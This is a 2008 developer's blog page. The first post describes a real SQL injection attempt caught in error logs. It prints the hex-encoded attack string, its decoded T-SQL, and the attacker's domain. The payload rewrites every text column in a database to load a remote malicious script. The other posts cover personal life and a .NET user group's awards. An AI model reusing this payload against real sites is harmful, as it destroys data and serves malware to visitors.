A new type of SQL Injection attack

By James at September 12, 2008 10:51
Filed Under:

I use ELMAH to take care of un-handled exceptions on my web sites, including www.iedotnetug.org. It works well, and sends me an email when something goes wrong. I typically get 2-3 emails about the user group site a week, usually bots or spiders causing 404 errors. Today I woke up with two emails with the following errors:

System.FormatException: Input string was not in a correct format.

Ok, I see these all the time, almost deleted the message, but decided to scroll down just a bit more to the variables to see what spider triggered this. You won't believe what I saw.

QUERY_STRING pageNum=3;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x444
5434C415245204054207661726368617228323535292C40432076617263
686172283430303029204445434C415245205461626C655F437572736F7
220435552534F5220464F522073656C65637420612E6E616D652C622E6
E616D652066726F6D207379736F626A6563747320612C737973636F6C7
56D6E73206220776865726520612E69643D622E696420616E6420612E7
8747970653D27752720616E642028622E78747970653D3939206F72206
22E78747970653D3335206F7220622E78747970653D323331206F722062
2E78747970653D31363729204F50454E205461626C655F437572736F722
04645544348204E4558542046524F4D20205461626C655F437572736F72
20494E544F2040542C4043205748494C4528404046455443485F5354415
455533D302920424547494E20657865632827757064617465205B272B40
542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C65
3E3C736372697074207372633D22687474703A2F2F777777302E646F756
8756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E
3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206
E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207
372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F637
37273732F772E6A73223E3C2F7363726970743E3C212D2D2727272946455
44348204E4558542046524F4D20205461626C655F437572736F7220494E54
4F2040542C404320454E4420434C4F5345205461626C655F437572736F7220
4445414C4C4F43415445205461626C655F437572736F72
REMOTE_ADDR 86.41.93.201
REMOTE_HOST 86.41.93.201

Now a good friend of mine, and member of the user group - Matt Penner - is constantly generating errors on the user group site when trying to submit his Most Valuable Member points. I had just finished making a fix last night, and thought he'd get a kick out of seeing this. So I forward it on to Matt. His response was:

"Wow, can you say SQL Injection Attack?  Do you really look over all the error messages?  Do they come in your email?  That could be a lot to wade through.  How much do you get? You've probably already figured out their code but here's what they were trying to do:" 

He then goes on to show me the SQL which was in this HEX string. Pretty scary stuff.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor
CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec
('
update ['+@T+']
set ['+@C+']=''"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''+['+@C+']
where '+@C+' not like ''%"></title><script src="http://<effing domain removed to protect my readers>/csrss/w.js"></script><!--''')
FETCH NEXT
FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Matt then goes on to say:

"This looks fairly nasty. He's really trying to replace any TITLE tag on your HTML pages. If your titles were dynamically generated from SQL (and that's a pretty big if) this would close the tag, insert a script the browser would run and then comment out the rest of the page. However, HTML is fairly forgiving so this script would probably run no matter what tag got hit.

But that's not the bad part. This script changes every single text column in every table in your database. Ugh! The sheer destruction of all your data would probably debilitate the site as a whole no matter what.

But you have to give him props. He does optimize the code for you. For instance, his script doesn't update fields that have already been hacked previously. So I guess he's kind enough not to waste processes on your SQL box. Maybe you should thank him."

Now Matt works at a school district and his network is secure. But because he's a geek like me, he decides to visit the domain. This is what he finds:

clip_image002

Matt tells me the code is in HEX and he had to use PSPad to decrypt it. He goes on to say:

"After IIS unencodes the query string this turns into:
SET @S = CAST(0xBlahBlahBlah AS CHAR(4000));
EXEC (@S);

It looks like SQL's CAST statement is smart enough to know that 0x is a hex string and automatically converts it to text for you.  This is much like a CAST(blah as datetime) is smart enough to convert dates from a variety of different formats.  Now it's in a plain text string which is dynamically executed by the EXEC statement."

We email about it a few more times, then consider the matter closed. All until I run across this blog entry from Steve Trefethen today. The same attack was tried on his blog, however he went further and downloaded the JavaScript. The JavaScript in turn will insert an <IFRAME> which will then load some pretty nasty ActiveX controls.

I have been meaning to do some major overhauling on the user group site, especially to get rid of the query string parameters. Fortunately for me, the query string parameter is encoded and then passed into a SqlDataSource Parameter. Whew! I guess I know what I'm going to be doing sooner, rather than later.

Oh, and if you want to bypass my protection for you and throw caution to the wind, replace "http://<effing domain removed to protect my readers>" with www0.douhunqn.cn. You have been warned.

Big props to Matt for helping me out.

James

By the way, as I was preparing this and pasting the various bits of code into Live Writer, the following NOD 32 anti virus window popped up:

image

Nasty, nasty stuff.

My left arm

By James at August 23, 2008 15:14
Filed Under: Life in General

Wedding rings are worn on the left hand, as the veins in the arm go straight to the heart. During my time with Carmina, I've collected several trinkets which I wear on my left hand and wrist. Little tokens of her, which go straight to my heart. While planning our 3rd anniversary trip to Ensenada, I decided to surprise her with a picture of a Mayan calendar representing our wedding date - July 23, 2005. It took a while to figure it out until I found a few different web sites with glyphs and tutorials on how to translate dates. I brought the artwork and information home, showed Carmina and she was really tickled, but started wondering what it was all about.

I have two great friends @joshhighland and @gemery who have tattoos. Josh is almost totally covered with the most beautiful artwork I have seen. Geoff is a world traveler and gets a tattoo from every continent he has visited. Now I'm an older guy, who occasionally will put a hoop through the ancient hole in my earlobe, but with no body art to mention.

With the deep love of my wife (and of Mayan heritage), my two brothers as an inspiration and going a bit further, in my head and to myself, I decided I would get a tattoo while in Mexico. While driving I broke the news to Carmina. She got all excited and decided to join me on my search for a place to get it done.

Ensenada is the city of rip-offs, cheap transvestites and counterfeit Cuban cigars. Neither of us felt terribly comfortable in having me get inked in any of the places we saw. Somewhat disappointed, Carmina perked me up by mentioning Chris, the husband of one of her co-workers, Alma. Chris works for the city of Riverside and does tattoos on the side. Carmina hooks me up with Chris and we set up a date.

Today was the day. I didn't sleep at all the night before, I was excited. I had heard it would hurt, and seen pictures of right afterwards with the oozing, but I really wanted to do this. Chris is an awesome guy, un-assuming, friendly, joking, a liberal. His "shop" is decorated with slasher movie props, meat cleavers, meat hooks and antique car memorabilia. "Welcome to the Butcher Shop Tattoo Parlor" is painted on the floor.

So we get started. At first I had wanted it on the inside of my arm. Chris asks me if I'm sure, tells me it will really hurt in that spot and talks me into putting it directly on my bicep. I agree, so he traces the design, and works three times to get it just right on my arm. This isn't like getting the wrong shade of paint in the bathroom, once you start, there is no going back, and I appreciate him taking his time.

Time to start. Outline is first and I think, this isn't so bad. I start meditating on my third eye and breath deeply, getting into the experience. Things are going well, when all of a sudden...WTF!!! Ow!!! that hurts! He just started outlining into the inside of my arm, right on the edge where I wanted him to start. OMG this HURTS! I let it all wash over me, glad when he gets to the outside of my arm, squirming when he gets to the inside, breathing a sigh when he stops for more ink. He is careful and detailed and it takes an hour to do the outlining. We take a short break to stretch legs, drink some water, and pee. Then its time for the shading.

Chris says the shading will be easier, "it's more of a burn, than a tearing like the outline". Whew...ok, I can deal with this. WRONG! The outlining is done with a single needle. Shading is done with four to seven needles dragged across the skin. The soft part of my arm takes the brunt of the pain. After each pass, Chris wipes the skin, and I don't know what is worse, the needle or the wiping of punctured skin with a paper towel and green soap. He's using a lighter shade of black, but all I see is red, my blood under the skin. "Don't worry, he says, that will fade. This is looking awesome!" During the shading, I'm squirming big time. Chris teases me with "it's rough isn't it?" I respond with "F*** you"! We both laugh and get on with it.

Finally he's done with the shading but now wants to put some highlights with white. Nice, more poking, but I've gone this far, we're in 3 hours by now, so what the heck. Another 30 minutes and then he's ready to do the details. Huh!?!

Carmina's favorite color is purple. The top glyph means "Esposa". I had previously asked Chris about coloring, so when he was done with the detailing he get's ready to start with the purple highlights on the top glyph.

Four hours later and we're done. It's amazing how fast the pain fades and I look at myself in the mirror. The white highlights make it pop, the purple is cool, and it is "more better" than I had imagined.

Will I get another? Who knows. This one is significant and meaningful to me. Will getting another dilute this feeling?

Here are the pictures

Original graphic based on my research

tattoo_outline

My finished tattoo

tattoo

The Mayan calendar is actually a number of days from creation, with the significant event the main glyph on the top. Each long oval represents "five" and each open circle represents "one", with the other glyphs representing the portion of time in the epoch. So, in this case the top glyph represents "the wife of", with the rest counting up the days from creation to when Carmina and I were married.

Carmina is already looking up glyphs for what she wants. Have I mentioned how much I love this woman?

James

An anniversary, a road trip and a wake up call

By James at July 30, 2008 19:19
Filed Under: Life in General

Last Wednesday (7/23) was Carmina's and my third anniversary. Since our lives revolve around our families, with varying members coming and going, birthday and graduation parties, master degree studies, boyfriends spending weekends, user group meetings, running errands...you get the picture, Carmina and I *rarely* have time to spend alone together. So when we got married, we promised ourselves, that the first weekend after July 23 would be our own alone time. A time to go away to somewhere we've never been. A time to be alone. A time to get to know each other again. A time to give the love engine a few strokes and tend to the flames.

This year we decided our destination would be Ensenada, Baja California, Mexico. While we had said, a place neither of us had been, we decided my trip during the early 80's didn't count. Sort of like robbing a bank 30 years ago, is beyond the statute of limitations.

So onto the interwebs to find a place in Baja to go. Search, search, search.... Bingo! Hotel Coral in Ensenada. Book it, ask for the vacation time, start planing, start dreaming.

Saturday morning comes, and we decided the night before to leave no later than 7:30 am. Willie asks us if we're going to leave any "emergency money". I ask him "why?" "In case I want to go to the movies." Darn kids. The trip down is uneventful. We get to Tijuana to run a few errands and I get the normal text message from Sprint..."welcome to Mexico. Feel free to make as many calls as you want, just make sure to press 011 before to authorize us to take every cent you will ever earn." We continue on down to Ensenada, but this time Carmina wants to take the Toll Roads the entire trip, not the usual browsing along every nook and cranny of the "libre" highway. Listening to our iPod collection we're having a great time. Windows down, music blaring, cool breezes, interesting sites, a highway worker straddling the center divider painting, we get to Hotel Coral, just as "Hip City" from Down to the Bone starts playing.

This hotel is awesome, just effing awesome! It reminds us of a fancy hotel in the Orange County beach areas, complete with circular driveway, doormen, fancy tiled entrance way, courteous staff. Check in is fine, and the room is all the the web site claims it to be. Before we head up, we stop by the concierge desk to ask around about what to do. We had noticed a lot of people dressed nicely and realize a wedding is about to take place. As we walk up to the desk, the concierge stands with a box of something and corsages, starting to walk away. But he sees us, sets his stuff down and tends to us. It's not until way later we realize he was tending to the wedding party, but stopped to help us out. Nice.

After settling into the room, we decide to head out for our first adventure, La Bufadora. Ensenada is an inlet of the Pacific. La Bufadora is at the end of a peninsula on the other side of the bay. If we were birds, we could fly there in 10 minutes. Instead we need to drive. Oh well, we're here for the adventure, so off we go. Lots of farmland with the typical roadside stands offering elote, honey, uvas, tamales, carnitas, etc.

What a change. La Bufadora is now a big tourist trap. Lots of stands selling junk...fake silver jewlery, fake cuban cigars, switchblades stamped with "made in china"... sigh. Carmina and I make our way down to the site, and there are tons of people standing around watching, some hanging out under the "do not climb on the rocks sign"

We head back to the hotel, enjoying the countryside along the way. After a stop at the mega mercado for snacks and tequila, we get back to our room to relax, drink and celebrate our time together and our time alone.

Later that night, the room phone rings. The conversation goes like this:

Me (groggy) - "hello?"
Phone voice - "Good night, sir"
Me (confused) - "good night, thank you"
Phone voice - "Your pizza is here"

Wow what service in Ensenada. The call to wish you good night, and give you a pizza. All that was needed was to be tucked in. :)

Here's some pictures of the first day at La Bufadora.

La Bufadora, "the blowhole"

The next day we decided to wander around and explore Ensenada

During our wanderings in Ensenada, we came across the city museum. After spending a bit of time looking around, we started chatting with the lady working the counter. Asking what else was there to do, she recommended Guadalupe, the Mexican Wine Country. "C'mon, I say to myself, Mexican Wine". Not that I'm a wine snob, for Pete's sake, it's Two Buck Chuck from Trader Joe's for me, but I wouldn't have put "wine country" and "Mexico" together. So, seeing as we love adventures in strange lands, we make plans to head out the next morning.

The drive is great, and soon we arrive at the entrance of Vina Ruta.

The air is clear and cool. The sky is a blue which makes your eyes hurt, and driving down the "Vina Ruta" we're amazed at the number of small vineyards and olive groves in the area. So totally amazing. Every 1/4 mile is a turn off to a small winery and we have a hard time deciding where to stop.

Apparently a hundred years ago a group of Russians settled in the valley. We stop at another museum across the street from a small cafe with wine tasting. Ok, here goes our first sip of Mexican wine. "umm, nah, I don't think so". It is way too sweet, thick, with a nasty, gnarly aftertaste. So, the wine sucks but the area is beautiful, peaceful and relaxing.

But, we're on an adventure and with all the other wineries and vineyards, there has to be something better. Driving and driving and driving we see a big white building up on a hill. As we get closer, a sign "Monte Xanic Vineyards" directs us off the road. This looks interesting and we drive through hundreds of acres of vines making our way to the big white building. We follow the signs pointing us to the wine tasting room and end up in the cask room (I guess that's what its called).

The fee for tasting their eight wines is eight dollars. I guess if you have to pay, then it must be good. Luis, behind the counter, starts us out with the whites. Actually they aren't too bad, and Carmina, not a wine drinker, likes them. As we move on to the reds, things start to get interesting. I don't know how to describe wine, nor do I know how to judge it, other than either "it's good", or "yuck". But with these reds, I have to add a new one. "GTFO! OMG! WOW!" These wines are smooth, with a buttery feel, a dry aftertaste, and absolutely the best Cabernet I have tasted. And not a bad price either, $13.00.

Talking with Luis he asks if we saw the picnic setup by the lake. Every Sunday, the chef from town comes to cook and server people. Since its been a long day, we head down to eat and see what is what.

This aren't street tacos. This is actual gourmet food. Sitting on a picnic table. By a lake with a cool breeze. With my beautiful wife.

What a way to celebrate three years with the love of my life.

Inland Empire .NET User's Group - Most Valuable Member

By James at July 09, 2008 12:26
Filed Under: Inland Empire .NET UG, Life in General

When I started the Inland Empire .NET User's Group almost 5 years ago, my goal was to create a thriving .NET development community here in the IE, a place where people didn't have to drive so far to attend user group meetings, where local networks could form, where employers in the IE could come to recruit talented, professional developers and was recognized for our development prowess.

I was having a lot of fun with the group and watching it grow. People would come and go, some offering to help, but never coming back. But it was not the dynamic community I had envisioned.

So, a little over a year ago, I was thinking up some ways to increase both the membership and the involvement of the Inland Empire .NET User’s Group. I had heard of Community-Credit.com, run by David Silverlight, and decided to adapt it to the IEDOTNETUG, gearing it more towards a local community, and specifically for rewarding those who contributed directly back to the group. I had fun coming up with the topics and point system, some of which are:

Be the first to RSVP and Attend a monthly meeting 50 points
RSVP and Attend a monthly meeting 20 points
Assist with meeting setup 200 points
Assist with meeting teardown 150 points
Bring a guest 50 points
Give a 15 minute presentation to the group 300 points
Write a book review on a book won as a raffle prize 500 points
 
My intention was for the top point achiever to get 1) some recognition, 2) a boatload of swag, and 3) a little help in running the group.
 
Without much planning, or talking to those who could provide the "boatload of swag", I jumped right in and announced it at the July 2007 User Group meeting. There was some enthusiasm for the program, but most, I think, were like "yeah sure". It took a while for the idea to catch on in the group, and points weren't being generated like I had hoped. I started talking to my sponsors about helping out with prizes, but again, most of them were like, "MVM...what's that?" Every month at the UG meetings I would remind people to submit their points and give them an update on what the prizes were.
 
In talking with my good friend, Rachel Hawley at Red Gate software, she came on board, offering both some cool prizes, but most importantly some really good advice, suggestions and opinions.
 
Ah... our first MVM sponsor! Sweet! Now that the members could see there was something they could get for participating, the point submissions started coming in. But still not quite as much as I had hoped for. Thinking a bit on it, I came up with a devious plan, I changed the rules a bit:
 
  • Point submission would expire 2 months after the activity date (I didn't want to have to keep track of something 11 months ago.)
  • If points were submitted with 7 days of the meeting, they were doubled.
  • If there were more than 20 attendees at the meeting, the points were doubled again (see where I'm going? let's get more people at the meetings).
 
Think about it. Before, "Assist with meeting setup" was 200 points, but now it could be worth 800 points!
 
Once the new rules were in play, participation started growing. Ok, now I had players it was up to me to get the prizes. I had wanted Microsoft to donate a MSDN Subscription, and our MSFT DE, Woody Pewitt tried his darndest, but the lawyers and accountants got involved and this idea just wasn't going to fly. I also have developed a really fantastic relationship with my contact at JetBrains, Britt King. We communicate a lot and bounce a lot of ideas off of each other. Britt started getting excited about the MVM program as well, and committed to providing JetBrains licenses as well. Cool beans! Sponsor number 2.
 
It's April, the point totals are climbing, with more people participating and I'm still working on sponsors. Telerik is on board, Marsee at O'Reilly is on board. But Microsoft is still holding out. I can't figure it out, as this is a .NET User's Group.
 
Fast forward to June.The MVM awards event is next month. The sponsors are lined up, everyone is excited, there is a definite buzz about the program, and INETA is starting to ask me about it, "What is this MVM thing?". At our June meeting, I finally meet a local developer, who has been trying to come to the meetings, but just hasn't been able to make it. His name is Al Pascual, and he is a Microsoft MVP. He has in his hands a certificate for a MSDN Team Suite Premium Subscription, one of three which Microsoft gives to MVPs to hand out. YES!! The prizes are complete.
 
I am amazed at the level of competition which is taking off. I am being bombarded on a daily basis with MVM point submissions. There are 5 participants who are all within 2000 points of each other, and I start thinking, I can't just award one MVM. So I decide to have the MVM with a First and Second Runner Up. All the sponsors think it's a great idea and pitch in even more to support the program.
 
Carmina decides since this is such a special event, the typical pizza just won't do. She gets her good friend Imelda started on planning to make a giant batch of chile rellanos. Booyah! Carmina and I spend the weekend before the event putting the prizes together. Printing out certificates, making awards boxes, packaging up JetBrains t-shirts with Red Gate thumb drives to hand out to all the MVM participants. Sweating the details, practicing my presentation, making sure things will go right. We're ready to go, when "uh-oh".
 
My friend Efren Toscano who has this cool company TechZulu is going to come and videotape the event, but his correspondent has backed out, and we need to find someone who 1) knows tech, 2) has a great personality and 3) doesn't mind working for a piece of pizza and a Diet Pepsi. As I stare at my monitor, thinking about this, my eyes wander to my GTalk window, then to my buddy Josh Highland's icon. Josh has hacked GTalk so it always shows him as being available...usually he's not. Hmm, Josh meets the three criteria, plus he's a born and raised Inland Empire developer (PHP and ColdFusion, but I don't hold that against him).
 
Click, not expecting a response till morning. To my surprise he's there. Serendipity. It goes like this:

me: hey, give me a ping i have a favor to ask
joshhighland: yo
me: you're there? wow?
joshhighland: yup ha
me: are you doing anything Tuesday night?
joshhighland: id have to check with the schedule keeper, aka my wife whats going on?
me: TechZulu is coming to videotape the Most Valuable Member event he needs a correspondent...someone to do the interviews
joshhighland: awesome where at?
me: woud you be interested in doing it? i need someone with personalilty and is techy/geeky Riverside Medical Clinic
joshhighland: yeah, lets do it i'm in

It's all coming together and we're ready to go. The people are showing up, the chile rellanos are awesome, there is an excitement in the air. Carmina and Imelda are there checking in people and selling raffle tickets. Efren and Josh are doing their interviews. It doesn't get any better than this. We have our meeting, present the MVM awards, attendees are happy, excited and stoked. My presentation goes great. Afterwards people are hanging around talking and chatting.
 
This is what I live for with this group. This is why I do it.
 
Pictures of the event are on Flickr
 
edit 7/15/2008
 
This just in! My buddy Josh Highland just wrote about his experiences as a TechZulu correspondent. Read it here.

The Most Valuable Members

By James at July 09, 2008 12:25
Filed Under: Inland Empire .NET UG

The Inland Empire .NET User's Group held their first annual Most Valuable Member Awards. Members gain points by giving back to the community, with the top contributor being named Most Valuable Member. The recognition and prizes they receive are significant, and it wouldn't be possible without the help of the sponsors.

Here is what the MVM, Runner Up, and Second Runner Up receive

MVM Runner Up Second Runner Up
Red Gate SQL Toolbelt Red Gate SQL Comparison Bundle Red Gate SQL Compare
JetBrains R# and dotTrace JetBrains R# JetBrains dotTrace
InnerWorkings ENTIRE catalog for 1 year InnerWorkings Drill InnerWorkings Drill
O'Reilly Safari Subscription 5 O'Reilly Books 3 O'Reilly Books
telerik complete controls Sitefinity license telerik tool of choice
MSDN Team Suite Premium Subscription TechNet Plus Subscription  

The Most Valuable Members for 2007/2008 are:

Most Valuable Member 2007/2008. 42 entries and total points of 19,400 - Volkan Uzun

Volkan has been coming to the meetings for several years, working in several levels of the group, most recently developing and teaching a 12 week Beginner's ASP.NET course affiliated with the IEDOTNET, writing several blog postings per month, and recently received two Microsoft Certifications. He must stay up nights, thinking of new ways to give back to the development community.

MVM Runner Up. 21 entries and total points of 17,840 - Michael Roth

Mike has a ton of great ideas, and will someday make his fortune on the interwebs. He is diligent about submitting his points early, and loves to donate a previously won raffle prize to someone else.

MVM Second Runner Up. 23 entries and total points of 16,110 - Paul Chu

Paul makes the trek from San Gabriel every meeting. He is always here early to help setup, stays late to help tear down, actively participates in discussions during the meetings, and offers to help where ever he can.

In addition, the follow members all participated:

Robby Thompson 13040 points

Matt Penner 10080 points

Sean Dorsett 7280 points

Steve O'Brien 3680 points

Henry Vander Leest 2320 points

Daniel Andrade 1970 points

George Ande 500 points

Mark Raborn 480 points

Alvin Xu 100 points

Ed Marquez 40 points

Chris Hall 20 points

Inland Empire .NET User's Group Most Valuable Member Awards

By James at July 01, 2008 17:33
Filed Under: Inland Empire .NET UG
It's been a year in the making, and it's almost here! The IEDOTNETUG Most Valuable Member Awards event will be on Tuesday, July 8th from 6:30 to 10:00 pm at our usual meeting place, Riverside Medical Clinic. In addition to recognizing and congratulating those who have worked hard at making a difference in the Inland Empire .NET community we will have speakers. Boy howdy, will we have speakers. Not 1. Not 2. Not 3. But FOUR speakers!

  • Mike Vincent from INETA will be presenting on Dynamic Languages (Python, Javascript, Ruby)
  • Matt Penner (yeah, that Matt Penner) will be showing us how to set up source control with SVN
  • Our local MVP, Al Pascual, from ESRI, will be showing off his open source project called GeoTwitter
  • Janine Rood, InnerWorkings Director of Marketing will be showing us how to use the InnerWorkings Drills
  • Efren Toscano from TechZulu will be on hand to video tape the whole event
  • Various other special guests will be making appearances as well


Plus, if your name is on the upper left list of the UG website, you'll get a prize for participating. And if that's not enough, the sponsors have stepped forward for this event and are providing extra swag.

So what are you waiting for? It's time to show the rest of the .NET development world that the Inland Empire is force to be reckoned with! RSVP now to get in on all the fun, plus you'll get an extra raffle ticket.

Attendance fee for non-members is $5.00. Food (not pizza this time around), sodas and water will be on hand.

Thanks! See you next Tuesday. Have a happy, and safe 4th of July!

James

Willie&rsquo;s Talent Show

By James at June 06, 2008 03:25
Filed Under: Life in General, Miscellaneous

So, last week Willie and his homies performed at his school's talent show. Here's one of the better songs.... :)

and one that could use a bit more practice

But what can I say? My kid has heart!

James

My SQL Fire Starter Interview

By James at June 05, 2008 03:13
Filed Under: Web Development, Inland Empire .NET UG

When I presented at SQL 2008 Fire Starter last May, my good friend Geoff Emery interviewed me for TechZulu.

So, for your geeky, drawling enjoyment... I give you this....

 

My Homies

By James at May 27, 2008 06:12
Filed Under: Life in General, Web Development

As I mentioned in a previous post, I presented at the SQL 2008 Firestarter event. What I didn't mention was a story about a bit of metaphysics and a prime example of how the Universe looks out for those believers.

Working on Latina Business.NET with Carmina, I ran across, at one of our customers, a toy machine that sold little plastic "homies". I thought they were cool and one day went with a ton of quarters and bought as many as I could. They all sit on my monitors and inspire me when building a web site for one of our customers. These little plastic figures are great. With a lot of detail, and fantastic expressions on their faces, having them look down on me while I'm working, gives me the ideas to build a great bakery, jumper, party supply or mercado web site.

I was having problems getting my site together. Computer issues, bits changing, work things, you name it, I had to deal with it. But what got me through were my homies. They kept staring down at me, and settled me down. I got my stuff together and was ready for the next day.

I packed my stuff up the night before and was ready to roll early. As I was heading downstairs to leave, a voice in my head said "take us with you". Usually when I'm heading out, all I can think of, is traffic, being on time, whatever. But this time, I stopped, looked at my system and said to myself "OK". I scooped up the two homies that always seem to call to me; my first one, and old dude sitting in a chair, and a crazy looking one selling bags of oranges.

I got to the event site without a hitch and things went smoothly. As it turns out I was the scheduled to be the first presenter for the Developer's Track. Taking a few minutes to check out the meeting room and setup, I did so, and took out my Old Dude, and Orange Guy, putting them on the podium. Not blatantly so, but in a position for them to watch over me unobtrusively. I was just getting ready to start my presentation, when I was interrupted that I needed to move rooms. A bigger room. So many people wanted to see my presentation, the organizers actually moved me to a bigger room.

I packed up my stuff, put Old Dude and Orange Guy in my shirt pocket, and moved over to the big place. Nice. My presentation went great; no issues, the demo gods where nice to me, intelligent questions were asked, and I got not one, but two rounds of applause. All the time my homies were watching me.

I head back to the speakers room to see what is going on. My two friends Geoff Emery and Matt Penner are having major problems with their demo, and their machine. No Internet connection, SQL Server is giving them fits, PowerPoint slides are jacked up. The demo gods are not happy. As I set my bag down and get behind my buddies, I fold my arms (what I usually do when concentrating) and I feel two little objects in my shirt pocket. My homies!

I put Old Dude and Orange Guy on their laptop, mostly just for grins, but then something amazing starts to happen. Things start coming together, Geoff decides to use his cell phone for connectivity, the machine decides to behave, both Geoff and Matt calm down. Their presentation is right after lunch. And they just rock. No more problems, no more issues.

In thinking about this I'm looking at my homies and see "HOMIESHOP" on the back. Doing a quick search I find www.homiesworld.com, with complete listings and descriptions of all the homies figures made so far.

Actually Orange Guy is named Orange Vato and Old Dude is Wizard. Read their descriptions, especially Wizard's and see if they make sense to you after this story.

Browsing around the Homies site, I really started liking it. They have created all these great characters, embracing their differences, while ending each description on a positive note.

You just gotta love your homies.

Firestarter 2008 ADO.NET Data Services Slides and Code

By James at May 18, 2008 09:47
Filed Under: Web Development, Microsoft

Yesterday I gave my presentation on ADO.NET Data Services at the Firestarter SQL 2008 event at the Microsoft Training Center in Irvine. I had a great time presenting, they even had to move my group to a bigger room, and it more than made up for the stress of trying to prepare a presentation with fluidly changing bits.

For your pre-beta, pre-CTP enjoyment I give you my slides and code firestarter-adodataservices.zip (588.30 kb)

If you have questions, drop me a line,

James 

About the author

James James is a five time and current Microsoft MVP in Client App Development, a Telerik Insider, a past Director on the INETA North America Board, a husband and dad, and has been developing software since the early days of Laser Discs and HyperCard stacks. As the Founder and President of the Inland Empire .NET User's Group, he has fondly watched it grow from a twice-a-month, early Saturday morning group of five in 2003, to a robust and rambunctious gathering of all types and sizes of .NET developers.

James loves to dig deep into the latest cutting edge technologies - sometimes with spectacular disasters - and spread the word about the latest and greatest bits, getting people excited about developing web sites and applications on the .NET platform, and using the best tools for the job. He tries to blog as often as he can, but usually gets distracted by EF, LINQ, MVC, ASP, SQL, XML, and most other types of acronyms. To keep calm James plays a mean Djembe and tries to practice his violin. You can follow him on twitter at @latringo.

And as usual, the comments, suggestions, writings and rants are my own, and really shouldn't reflect the opinions of my employer. That is, unless it really does.

James Twitter Feed

Recent Comments

Comment RSS

Month List